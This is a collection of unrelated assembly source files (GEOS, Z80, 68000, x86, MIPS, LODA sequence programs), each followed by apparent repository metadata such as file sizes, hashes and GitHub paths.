MSG_SOCKET_ADDRESS_CONTROL_SET_ACTION mov ds:[di].SACI_actionMsg, bp CheckHack <GenControl_offset eq SocketAddressControl_offset> movdw ds:[di].GCI_output, cxdx ret SocketAddressControlSetAction endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SocketAddressControlSetValidState %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Generate a valid notification CALLED BY: MSG_SOCKET_ADDRESS_CONTROL_SET_VALID_STATE PASS: *ds:si = SocketAddressControlClass object ds:di = SocketAddressControlClass instance data cx = FALSE if address not valid = TRUE if address is valid RETURN: nothing DESTROYED: ax,bx,cx,dx,bp,di SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- EW 10/31/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SocketAddressControlSetValidState method dynamic SocketAddressControlClass, MSG_SOCKET_ADDRESS_CONTROL_SET_VALID_STATE ; ; record an event ; mov dx, ds:[LMBH_handle] mov bp, si ; ^ldx:bp= this object mov ax, ds:[di].SACI_actionMsg clrdw bxsi ; no class mov di, mask MF_RECORD call ObjMessage ; di = classed event ; ; dispatch it ; mov si, bp mov bp, di ; bp = event mov di, ds:[si] add di, ds:[di].GenControl_offset mov ax, MSG_GEN_OUTPUT_ACTION movdw cxdx, ds:[di].GCI_output call ObjCallInstanceNoLock ret SocketAddressControlSetValidState endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SocketAddressControlFinalObjFree %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Remove the geode reference CALLED BY: MSG_META_FINAL_OBJ_FREE PASS: *ds:si = SocketAddressControlClass object ds:di = SocketAddressControlClass instance data es = segment of SocketAddressControlClass ax = message # RETURN: nothing DESTROYED: nothing SIDE EFFECTS: changes the class of this object to SocketAddressControlClass PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- EW 1/ 5/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SocketAddressControlFinalObjFree method dynamic SocketAddressControlClass, MSG_META_FINAL_OBJ_FREE push ax ; ; get the address of GeodeRemoveReference ; mov ax, enum GeodeRemoveReference mov bx, handle geos call ProcGetLibraryEntry ; bx:ax = vfptr to routine ; ; set up parameters for GeodeRemoveReference ; sub sp, size ProcessCallRoutineParams mov bp,sp movdw ss:[bp].PCRP_address, bxax segmov ss:[bp].PCRP_dataBX, ds:[di].SACI_geode, ax ; ; get our thread ; mov bx, ds:[LMBH_handle] mov ax, MGIT_EXEC_THREAD call MemGetInfo ; ; Ask our own thread's process to call GeodeRemoveReference ; on the driver. It can't do this until this message completes, ; so it is safe even if this library exits as a result. ; mov bx,ax mov ax, MSG_PROCESS_CALL_ROUTINE mov dx, size ProcessCallRoutineParams mov di, mask MF_FORCE_QUEUE or mask MF_STACK call ObjMessage add sp, size ProcessCallRoutineParams ; ; call the superclass ; pop ax mov di, offset SocketAddressControlClass GOTO ObjCallSuperNoLock SocketAddressControlFinalObjFree endm AddressCode ends
28.045226
80
0.617631
98058a0bbaaf1fc3acecb819c2e5149543452595
393
asm
Assembly
oeis/231/A231963.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/231/A231963.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/231/A231963.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A231963: Concatenate n with its UPC check digit. ; Submitted by Christian Krause ; 17,24,31,48,55,62,79,86,93,109,116,123,130,147,154,161,178,185,192,208,215,222,239,246,253,260,277,284,291,307,314,321,338,345,352,369,376,383,390,406,413,420,437,444,451,468,475,482,499,505,512,529,536,543,550,567,574,581 mov $2,$0 seq $0,237042 ; UPC check digits. mov $3,$2 mul $3,10 add $0,$3 add $0,10
35.727273
224
0.715013
d2091d8030b3e20675091e170a94c6cd73cbb50c
1,999
asm
Assembly
libs/CA_Cursor_ProcessDirections.asm
CurlyPaul/cpc-z80-poc
93515b8fea39c05694378c48dac1a327dfad347b
[ "MIT" ]
null
null
null
libs/CA_Cursor_ProcessDirections.asm
CurlyPaul/cpc-z80-poc
93515b8fea39c05694378c48dac1a327dfad347b
[ "MIT" ]
null
null
null
libs/CA_Cursor_ProcessDirections.asm
CurlyPaul/cpc-z80-poc
93515b8fea39c05694378c48dac1a327dfad347b
[ "MIT" ]
null
null
null
;;***************************************************************************************** ;; Origially based an example in the zip file found at https://www.chibiakumas.com/z80/ ;;***************************************************************************************** Cursor_ProcessDirections: ;We're going to process keypressses ;H should contain the keypress bits ---FRLDU ;DE should contain last XY pos ld bc,(CursorMoveSpeedXY) ;Load XY Move speeds into BC bit Keymap_D,h ;Test the down bit in H jr nz,OnscreenCursorNotDown ld a,e ;Read in Y pos exx ld hl,CursorMaxY ;Get Max Ypos Call CursorDoMaxCheck add c ;Move down ld e,a ;Store new Y OnscreenCursorNotDown: bit Keymap_U,h ;Test the up bit in H jr nz,OnscreenCursorNotUp ld a,e ;Read in Y pos exx ld hl,CursorMinY ;Get Min Ypos Call CursorDoMinCheck sub c ;Move up ld e,a ;Store new Y OnscreenCursorNotUp: bit Keymap_R,h ;Test the right bit in H jr nz,OnscreenCursorNotRight ld a,d ;Read in the X pos exx ld hl,CursorMaxX ;Get the Max Xpos Call CursorDoMaxCheck add b ;Move the cursor Right ld d,a OnscreenCursorNotRight: bit Keymap_L,h ;Test the right bit in L jr nz,OnscreenCursorNotLeft ld a,d exx ;Read in the X pos ld hl,CursorMinX ;Get the Min Xpos Call CursorDoMinCheck sub b ;Move the cursor Left ld d,a OnscreenCursorNotLeft: OnscreenCursorAbandon: ret CursorDoMaxCheck: cp (hl) ; Compare to limit exx ; hl now contains the keypress bits again ret c ; Return if not over limit pop af ;; Remove the return address from the stack, so now we'll return levels up at the ;; at the call site ret ;; Failed limit check - so give up CursorDoMinCheck: cp (hl) ;; Compare to limit exx ret nc ;; Return if not under limit pop af ret ;; Failed limit check - so give up
27.763889
95
0.597299
cb28cda841b6f9d4c772d16e2a85e6af950deae8
390
asm
Assembly
programs/oeis/051/A051878.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/051/A051878.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/051/A051878.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A051878: Partial sums of A051797. ; 1,13,63,203,518,1134,2226,4026,6831,11011,17017,25389,36764,51884,71604,96900,128877,168777,217987,278047,350658,437690,541190,663390,806715,973791,1167453,1390753,1646968,1939608,2272424,2649416,3074841,3553221,4089351,4688307,5355454,6096454 mov $1,1 lpb $0 mov $2,$0 sub $0,1 seq $2,51797 ; Partial sums of A007585. add $1,$2 lpe mov $0,$1
32.5
245
0.753846
270303e916e86b5133106037b7f9537861d35704
291
asm
Assembly
libsrc/stdio/m5/fputc_cons.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
null
null
null
libsrc/stdio/m5/fputc_cons.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
null
null
null
libsrc/stdio/m5/fputc_cons.asm
grancier/z180
e83f35e36c9b4d1457e40585019430e901c86ed9
[ "ClArtistic" ]
1
2019-12-03T23:57:48.000Z
2019-12-03T23:57:48.000Z
; ; Basic video handling for the SORD M5 ; ; (HL)=char to display ; ; $Id: fputc_cons.asm,v 1.6 2016/05/15 20:15:45 dom Exp $ ; SECTION code_clib PUBLIC fputc_cons_native EXTERN msxbios INCLUDE "m5bios.def" .fputc_cons_native ld hl,2 add hl,sp ld a,(hl) ld ix,DSPCH jp msxbios
13.227273
57
0.697595
df6a00d29d77cfde6475bd741b16bb6d61418488
388
asm
Assembly
src/test/resources/data/searchtests/opt-test7.asm
cpcitor/mdlz80optimizer
75070d984e1f08474e6d397c7e0eb66d8be0c432
[ "Apache-2.0" ]
null
null
null
src/test/resources/data/searchtests/opt-test7.asm
cpcitor/mdlz80optimizer
75070d984e1f08474e6d397c7e0eb66d8be0c432
[ "Apache-2.0" ]
null
null
null
src/test/resources/data/searchtests/opt-test7.asm
cpcitor/mdlz80optimizer
75070d984e1f08474e6d397c7e0eb66d8be0c432
[ "Apache-2.0" ]
null
null
null
org #4000 CheckIf60Hz: di in a,(#99) nop nop nop vdpSync: in a,(#99) and #80 jr z,vdpSync ld hl,#900 vdpLoop: dec hl ld a,h or l jr nz,vdpLoop in a,(#99) rlca and 1 ei ret
15.52
26
0.298969
2eaf51a20730c14024b99c11702707002deb024e
901
asm
Assembly
ffight/lcs/boss/3.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
6
2020-10-14T15:29:10.000Z
2022-02-12T18:58:54.000Z
ffight/lcs/boss/3.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
null
null
null
ffight/lcs/boss/3.asm
zengfr/arcade_game_romhacking_sourcecode_top_secret_data
a4a0c86c200241494b3f1834cd0aef8dc02f7683
[ "Apache-2.0" ]
1
2020-12-17T08:59:10.000Z
2020-12-17T08:59:10.000Z
copyright zengfr site:http://github.com/zengfr/romhack 004118 clr.b ($3,A6) 00411C clr.w ($4,A6) 03D3C2 jsr $390c.w [boss+3] 03D3E2 move.b #$40, ($1e,A6) [boss+3] 03D4C2 rts [boss+3] 03D4C8 move.b #$2, ($3,A6) [boss+2] 03D4CE move.b ($a3,A6), D0 [boss+3] 03DF6A clr.b ($3,A6) 03DF6E clr.b ($4,A6) 03E448 bra $3decc [boss+3] 03E454 move.b #$0, ($3,A6) 03E45A bra $3f270 03E464 clr.b ($4,A6) [boss+3] 03E74C bra $3decc [boss+3] 03E9B0 clr.b ($4,A6) 03EA12 jsr $41fa.w [boss+3] 03EA30 move.b #$a, ($3,A6) 03EA36 clr.b ($4,A6) [boss+3] 03EC60 clr.b ($4,A6) [boss+3] 03EC94 clr.b ($4,A6) [boss+3] 03ED34 move.b #$4, ($3,A6) [boss+3F] 03ED3A clr.b ($4,A6) [boss+3] 03ED60 clr.b ($3,A6) [boss+2] 03ED64 clr.b ($4,A6) 03ED96 move.b #$2, ($3,A6) 03ED9C rts [boss+3] copyright zengfr site:http://github.com/zengfr/romhack
29.064516
54
0.581576
23f2d6b7c9a66a8511c4954e6e42631cc60020e9
1,196
asm
Assembly
src/input.asm
geniiii/genesis-pong
e733238cf1fe8a7d0e628b926ebfa438e42fbcda
[ "MIT" ]
null
null
null
src/input.asm
geniiii/genesis-pong
e733238cf1fe8a7d0e628b926ebfa438e42fbcda
[ "MIT" ]
1
2021-06-25T12:21:04.000Z
2021-06-25T12:21:04.000Z
src/input.asm
geniiii/genesis-pong
e733238cf1fe8a7d0e628b926ebfa438e42fbcda
[ "MIT" ]
null
null
null
io_ctrl1: equ $A10009 ; 1P control port io_ctrl2: equ $A1000B ; 2P control port io_data1: equ $A10003 ; 1P data port io_data2: equ $A10005 ; 2P data port Input_Init: ; Z80_FastPause move.b #$40, io_ctrl1 move.b #$40, io_data1 move.b #$40, io_ctrl2 move.b #$40, io_data2 ; Z80_Resume Input_UpdateControllerPart: macro write, register move.b #write, (a0) nop nop move.b (a0), register endm Input_Rearrange: macro reg1, reg2 and.b #$3F, reg1 and.b #$30, reg2 add.b reg2, reg2 add.b reg2, reg2 or.b reg2, reg1 not.b reg1 endm Input_UpdatePressed: macro reg, p move.b input_p_held, d5 move.b reg, input_p_held not.b d5 and.b d5, reg move.b reg, input_p_press endm ; Trashes: a0, d4-d7 Input_Update: ; Z80_FastPause lea io_data1, a0 Input_UpdateControllerPart $40, d4 Input_UpdateControllerPart $00, d5 lea io_data2, a0 Input_UpdateControllerPart $40, d6 Input_UpdateControllerPart $00, d7 ; Z80_Resume ; Rearrange bits into SACBRLDU Input_Rearrange d4, d5 ; Controller 1 Input_Rearrange d6, d7 ; Controller 2 Input_UpdatePressed d4, p1 Input_UpdatePressed d6, p2 rts
20.271186
50
0.683946
a3d76d97bce2c08408fd188b5727f751ad5a9e0c
385
asm
Assembly
oeis/076/A076776.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/076/A076776.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/076/A076776.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A076776: a(0) = 1, a(1) = 2, a(2) = 5; for n > 2, a(n) = a(n-1)*a(n-2). ; Submitted by Christian Krause ; 1,2,5,10,50,500,25000,12500000,312500000000,3906250000000000000,1220703125000000000000000000000,4768371582031250000000000000000000000000000000000 mov $1,4 mov $2,1 lpb $0 sub $0,1 mov $3,$2 add $2,1 mov $4,$1 mul $1,$2 add $1,$3 mov $2,$4 lpe mov $0,$3 add $0,1
21.388889
147
0.651948
4e02121b722f61d6a336c1e9ba9e50f2a81d8491
708
asm
Assembly
programs/oeis/328/A328881.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/328/A328881.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/328/A328881.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A328881: a(n+3) = 2^n - a(n), a(0)=a(2)=1, a(1)=0 for n >= 0. ; 1,0,1,0,2,3,8,14,29,56,114,227,456,910,1821,3640,7282,14563,29128,58254,116509,233016,466034,932067,1864136,3728270,7456541,14913080,29826162,59652323,119304648,238609294,477218589,954437176,1908874354,3817748707,7635497416,15270994830,30541989661,61083979320,122167958642,244335917283,488671834568,977343669134,1954687338269,3909374676536,7818749353074,15637498706147,31274997412296,62549994824590,125099989649181,250199979298360,500399958596722,1000799917193443,2001599834386888,4003199668773774,8006399337547549 mov $1,$0 add $1,1 mov $2,2 pow $2,$0 sub $2,$0 lpb $1 mod $1,2 lpe add $0,$2 lpb $0 div $0,9 add $0,$1 mov $1,$0 lpe
39.333333
516
0.775424
fdc66183856973e09443058a6406a8f5f5213a23
290
asm
Assembly
src/Project6/AllOps.asm
HSU-F20-CS243/p06-starter
108791397c0454575f72d6787e0214417e0f5ec2
[ "Apache-2.0" ]
null
null
null
src/Project6/AllOps.asm
HSU-F20-CS243/p06-starter
108791397c0454575f72d6787e0214417e0f5ec2
[ "Apache-2.0" ]
null
null
null
src/Project6/AllOps.asm
HSU-F20-CS243/p06-starter
108791397c0454575f72d6787e0214417e0f5ec2
[ "Apache-2.0" ]
null
null
null
@5 @foo M = 0 D = 1 MD = -1 A = D AM = A AMD = !D A = -D A = -A A = D+1 A = A+1 A = D-1 A = A-1 A = D+A A = D-A A = A-D A = D&A A = D|A @7 D = A @8 M = D A = M A = !M A = -M A = M+1 A = M-1 D = D+M D = D-M D = M-D D = D&M D = D|M D = 0 @:End D;JGT D;JEQ D;JGE D;JLT D;JNE D;JLE D;JMP (:End)
6.744186
8
0.413793
11887c7425adcc17899fc775a51c4e337d63b3dd
4,191
asm
Assembly
base/crts/fpw32/tran/i386/87fmod.asm
npocmaka/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
17
2020-11-13T13:42:52.000Z
2021-09-16T09:13:13.000Z
base/crts/fpw32/tran/i386/87fmod.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
2
2020-10-19T08:02:06.000Z
2020-10-19T08:23:18.000Z
base/crts/fpw32/tran/i386/87fmod.asm
sancho1952007/Windows-Server-2003
5c6fe3db626b63a384230a1aa6b92ac416b0765f
[ "Unlicense" ]
14
2020-11-14T09:43:20.000Z
2021-08-28T08:59:57.000Z
page ,132 title 87fmod - fmod function ;*** ;87fmod.asm - fmod function (8087/emulator version) ; ; Copyright (c) 1984-2001, Microsoft Corporation. All rights reserved. ; ;Purpose: ; Implements fmod() library function for computing floating-point ; remainder. Uses FPREM 8087 instruction or its emulated equivalent. ; ;Revision History: ; 12-09-84 GFW Added copyright message ; 05-12-85 GFW Changed fmod(x,0) = 0 for System V.2 compatibility ; 10-15-86 GFW In-line instructions rather than call _fpmath ; 05-08-87 BCM Added intrinsic version (_CIfmod) ; 10-12-87 BCM OS/2 support C library changes ; Including pascal naming and calling conv. & no _fac ; 01-18-88 BCM Eliminated IBMC20 switches; ifos2,noos2 ==> ifmt,nomt ; OS2_SUPPORT ==> MTHREAD ; 08-26-88 WAJ 386 version. ; 08-17-90 WAJ Now uses _stdcall. ; 05-17-91 WAJ Added _STDCALL ifdefs. ; 03-04-92 GDP Changed behavior for INF args ; 03-22-92 GDP Fixed bug: removed fxch out of the remloop ; 09-22-93 SKS Removed obsolete _FIamod (no longer needed by FORTRAN) ; 12-09-94 JWM Modified fFMOD to test for bogus Pentiums and call an FPREM workaround ; 12-13-94 SKS Correct spelling of _adjust_fdiv ; 10-15-95 BWT Don't do _adjust_fdiv test for NT. ; ;******************************************************************************* .xlist include cruntime.inc include mrt386.inc include elem87.inc .list .data ifndef NT_BUILD extrn _adjust_fdiv:dword endif jmptab OP_FMOD,4,<'fmod',0,0>,<0,0,0,0,0,0>,2 DNCPTR codeoffset fFMOD ; 0000 NOS Valid non-0, TOS Valid non-0 DNCPTR codeoffset _rtindfpop ; 0001 NOS Valid non-0, TOS 0 DNCPTR codeoffset _tosnan2 ; 0010 NOS Valid non-0, TOS NAN DNCPTR codeoffset _rtindfpop ; 0011 NOS Valid non-0, TOS Inf DNCPTR codeoffset _rtzeropop ; 0100 NOS 0, TOS Valid non-0 DNCPTR codeoffset _rtindfpop ; 0101 NOS 0, TOS 0 DNCPTR codeoffset _tosnan2 ; 0110 NOS 0, TOS NAN DNCPTR codeoffset _rtindfpop ; 0111 NOS 0, TOS Inf DNCPTR codeoffset _nosnan2 ; 1000 NOS NAN, TOS Valid non-0 DNCPTR codeoffset _nosnan2 ; 1001 NOS NAN, TOS 0 DNCPTR codeoffset _nan2 ; 1010 NOS NAN, TOS NAN DNCPTR codeoffset _nosnan2 ; 1011 NOS NAN, TOS Inf DNCPTR codeoffset _rtindfpop ; 1100 NOS Inf, TOS Valid non-0 DNCPTR codeoffset _rtindfpop ; 1101 NOS Inf, TOS 0 DNCPTR codeoffset _tosnan2 ; 1110 NOS Inf, TOS NAN DNCPTR codeoffset _rtindfpop ; 1111 NOS Inf, TOS Inf page CODESEG extrn _ctrandisp2:near extrn _cintrindisp2:near extrn _rtindfpop:near extrn _rtnospop:near extrn _rtzeropop:near extrn _tosnan2:near extrn _nosnan2:near extrn _nan2:near ifndef NT_BUILD extrn _adj_fprem:near endif .386 ;*** ;fFMOD - floating-point remainder (8087/emulator intrinsic version) ;Purpose: ; fmod(x,y) computes floating-point remainder of x/y, i.e. the ; floating-point number f such that x = iy + f where f and x have ; the same sign, and |f| < |y|, and i is an integer. ; ; Uses the FPREM instruction to compute the remainder. ; (Formerly used FDIV.) ; ;Entry: ; floating-point numerator in ST(1) ; floating-point denominator in ST(0) ; ;Exit: ; floating-point result in ST(0); ; (pops one of the arguments, replaces the other with the result) ; ;Uses: ; AX, Flags. ; ;Exceptions: ; fmod(x, 0.0) currently returns 0.0 -- see System V specification ;******************************************************************************* public fmod fmod proc mov edx, OFFSET _OP_FMODjmptab jmp _ctrandisp2 fmod endp public _CIfmod _CIfmod proc mov edx, OFFSET _OP_FMODjmptab jmp _cintrindisp2 _CIfmod endp lab fFMOD fxch lab remloop ifdef NT_BUILD ; NT handles the P5 bug in the OS fprem ; do fprem's until reduction is done else cmp _adjust_fdiv, 1 jz badP5_fprem fprem ; do fprem's until reduction is done jmp fprem_done lab badP5_fprem call _adj_fprem lab fprem_done endif fstsw ax fwait sahf ; load fprem flags into flags JSPE remloop ; not done with range reduction fstp st(1) ; get rid of divisor ret end
26.865385
87
0.675972
818abb832590c530bdbc7f1750b27433ecaca12f
3,003
asm
Assembly
CS 200 - Project 8(1).asm
tisaconundrum2/CS200_Assembly
0598b9a7c50b9204e941277498660f2dee1991c5
[ "MIT" ]
null
null
null
CS 200 - Project 8(1).asm
tisaconundrum2/CS200_Assembly
0598b9a7c50b9204e941277498660f2dee1991c5
[ "MIT" ]
null
null
null
CS 200 - Project 8(1).asm
tisaconundrum2/CS200_Assembly
0598b9a7c50b9204e941277498660f2dee1991c5
[ "MIT" ]
null
null
null
.data #the_array ##my_list = [] myArray: .space 40 cont: .word 0 #The Prompt Prompt1: .asciiz "Numbers: " Prompt1_0: .asciiz "Continue? (1/0): " Prompt1_1: .asciiz "\nYou have exceeded the maximum amount of numbers" Prompt1_2: .asciiz "\nYour data will now sort" Prompt2: .asciiz "\nYou input" Prompt3: .asciiz "" Prompt4: .asciiz "numbers" .text #============================================================================================= _start: la $t0, myArray # load base address of array into register $t0 #+++++++++++++++++++++++++ myArray is now loaded with t0 +++++++++++++++++++++++++++++++++++++ thePrompt: #==========================================================================# # li load immediate # la load addres # syscall system call # sw save word # lw load word # j jump to a label # v0, 5 read an int # v0, 4 print string # beq branch to target if # get all the variables into their proper addresses # t0 belongs to myArray # t1 is a temporary # t2 belongs to num_count # t3 belongs to count # t4 belongs to cont ##user_ans = '1' li $t4, 1 ##count = 0 li $t3, 0 ## loop: ## s = input("Numbers: ") #============= li $v0, 4 la $a0, Prompt1 # ("Numbers: ") syscall li $v0, 5 syscall ## my_list.append(s) sw $v0, 0($t0) addi $t0, $t0, 1 #increment index by 1 ## user_ans = raw_input("Continue? (y/n): ") #============= li $v0, 4 la $a0, Prompt1_0 # ("Continue? (1/0): ") syscall li $v0, 5 syscall sw $v0, cont ## count += 4 add $t3, $t3, 4 # count += 4 ## if count < 36: blt $t3, 36, thePrompt # if count < 36: ## print "\nYou have exceeded the maximum amount of numbers" li $v0, 4 la $a0, Prompt1_1 syscall ## print "\nYour data will now sort" li $v0, 4 la $a0, Prompt2 # ("Numbers: ") syscall ## goto sort: j sort ## if user_ans == 'y' or user_ans == '': ## goto loop: beq $t4, 1, thePrompt # if 1 continue asking for numbers ## ## print "\nyour input %d numbers" %len(my_list) ## print "\ndata byte array is %d" %count #============= sort: ##break ## la $a0, Prompt2 # load address of string to be printed into $a0 ## li $v0, 4 # load appropriate system call code into register $v0; ## syscall ## ## la $a0, Prompt3 # load address of string to be printed into $a0 ## li $v0, 4 # load appropriate system call code into register $v0; ## syscall # print the string ## move $a0, $t2 # move integer to be printed into $a0: $a0 = $t4 ## li $v0, 1 # print the integer ## syscall ## ## la $a0, Prompt4 # load address of string to be printed into $a0 ## li $v0, 4 # load appropriate system call code into register $v0; ## syscall ## ## ## ## li $t1, 5 # $t1 = 5 ("load immediate") ## sw $t1, ($t0) # first array element set to 5; indirect addressing ## li $t1, 13 # $t1 = 13 ## sw $t1, 4($t0) # second array element set to 13 ## li $t1, -7 # $t1 = -7 ## sw $t1, 8($t0) # third array element set to -7
23.833333
94
0.553114
5fa39e89d9b3258eb3ddd1e183342e1e996b7b30
346
asm
Assembly
Assembly/Lab6/six1.asm
chaohu/Daily-Learning
0e8d14a3497ad319eda20bc4682cec08d5d6fb08
[ "MIT" ]
12
2016-04-09T15:43:02.000Z
2022-03-22T01:58:25.000Z
Assembly/Lab6/six1.asm
chaohu/Daily-Learning
0e8d14a3497ad319eda20bc4682cec08d5d6fb08
[ "MIT" ]
null
null
null
Assembly/Lab6/six1.asm
chaohu/Daily-Learning
0e8d14a3497ad319eda20bc4682cec08d5d6fb08
[ "MIT" ]
2
2018-08-23T07:34:59.000Z
2019-06-20T10:17:31.000Z
;程序名:six1 ;作者:胡超 ;功能:获取中断类型码10H对应的中断处理程序的入口地址 .386 STACK SEGMENT USE16 STACK DB 200 DUP(0) STACK ENDS DATA SEGMENT USE16 DATA ENDS CODE SEGMENT USE16 ASSUME CS:CODE,DS:DATA,SS:STACK START: MOV AX,3510H ;方法二 INT 21H MOV AX,0 ;方法三 MOV DS,AX MOV AX,DS:[40H] MOV AH,1 INT 21H MOV AH,4CH INT 21H CODE ENDS END START
15.043478
33
0.684971
0e13e7ece8c62003d5158f5d5829f573cda15959
2,765
asm
Assembly
smsq/hwt/ilist.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
smsq/hwt/ilist.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
smsq/hwt/ilist.asm
olifink/smsqe
c546d882b26566a46d71820d1539bed9ea8af108
[ "BSD-2-Clause" ]
null
null
null
; SMSQ Hardware table handling V2.10  1999 Tony Tebby section hwt xdef hwt_ilist ; conversion to interrupt list xref gu_achpp xref gu_rchp include 'dev8_keys_68000' include 'dev8_keys_hwt' include 'dev8_smsq_smsq_base_keys' include 'dev8_mac_assert' ;+++ ; Hardware table setup - convert table to interrupt list ; ; d1 c p interrupt level to build (byte) ; a1 c p interrupt handling code table ; a0 r interrupt list ; ; status return standard ; ; The interrupt handler code table has two vectors to the preable and the ; postable code. The preamble is preceded by its length as it is copied ; into the table. ; ; The list is automatically installed in the appropriate 'autovector'. ; In thias version, the operation is carried out with interrupts disabled ; using the SMSQ write to base area routine. ; If the old vector was to a HWT list, the old hwt list is thrown away. ; The pointer to the new hwt list is returned in case it needs to be installed ; in a hardware vector. ; ;--- hwt_ilist hil.reg reg d1/d2/d3/d4/a0/a1/a2/a3/a4/a5 movem.l hil.reg,-(sp) move.l sms.hwtab,a5 ; hardware table move.l hwt_ptr(a5),d4 ; top assert hwt.table,hwt_table lea (a5),a2 ; pointer to -1 entry moveq #0,d2 ; number of entries in table bra.s hil_ecnt hil_cnt cmp.b hwt_intl(a2),d1 ; this interrupt level? bne.s hil_ecnt addq.w #1,d2 ; another hil_ecnt add.w #hwt.table,a2 ; next entry cmp.l d4,a2 blo.s hil_cnt ; another move.l a1,a2 add.w (a1)+,a2 ; preamble move.w (a2)+,d3 ; length of preamble moveq #3,d0 ; 4+8 bytes extra add.w d2,d0 add.w d2,d0 lsl.w #2,d0 ; room for flag (4) and list 8*(n+1) add.w d3,d0 ; room for preamble jsr gu_achpp bne.s hil_exit move.l #hwti.flag,(a0)+ move.l a0,a4 ; save start of code hil_pre move.w (a2)+,(a0)+ subq.w #2,d3 bgt.s hil_pre move.l a0,a3 ; do not lose base of table assert hwt.table,hwt_table lea (a5),a2 ; pointer to -1 entry bra.s hil_esetl hil_setl cmp.b hwt_intl(a2),d1 ; this interrupt level? bne.s hil_esetl move.l hwt_serve(a2),(a3)+ move.l hwt_link(a2),(a3)+ ; set server list entry hil_esetl add.w #hwt.table,a2 ; next entry cmp.l d4,a2 blo.s hil_setl ; another add.w (a1),a1 ; set postamble address move.l a1,(a3)+ move.l a0,(a3)+ ; set base of linkage moveq #exv_i1/4-1,d0 add.b d1,d0 ; vector number lsl.w #2,d0 ; vector address move.l d0,a5 move.l (a5),a0 ; old vector move.l a4,d0 ; base swap d0 move.w sr,d1 or.w #$0700,sr jsr sms.wbase ; set vector swap d0 jsr sms.wbase move.w d1,sr cmp.l #hwti.flag,-(a0) ; hwt interrupt list? bne.s hil_done jsr gu_rchp ; return old hil_done move.l a4,a0 moveq #0,d0 hil_exit movem.l (sp)+,hil.reg rts end
22.298387
78
0.685714
6f9ec5b028b4c27c6ee4e14934090726c15c6c0b
310
asm
Assembly
programs/oeis/021/A021642.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/021/A021642.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/021/A021642.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
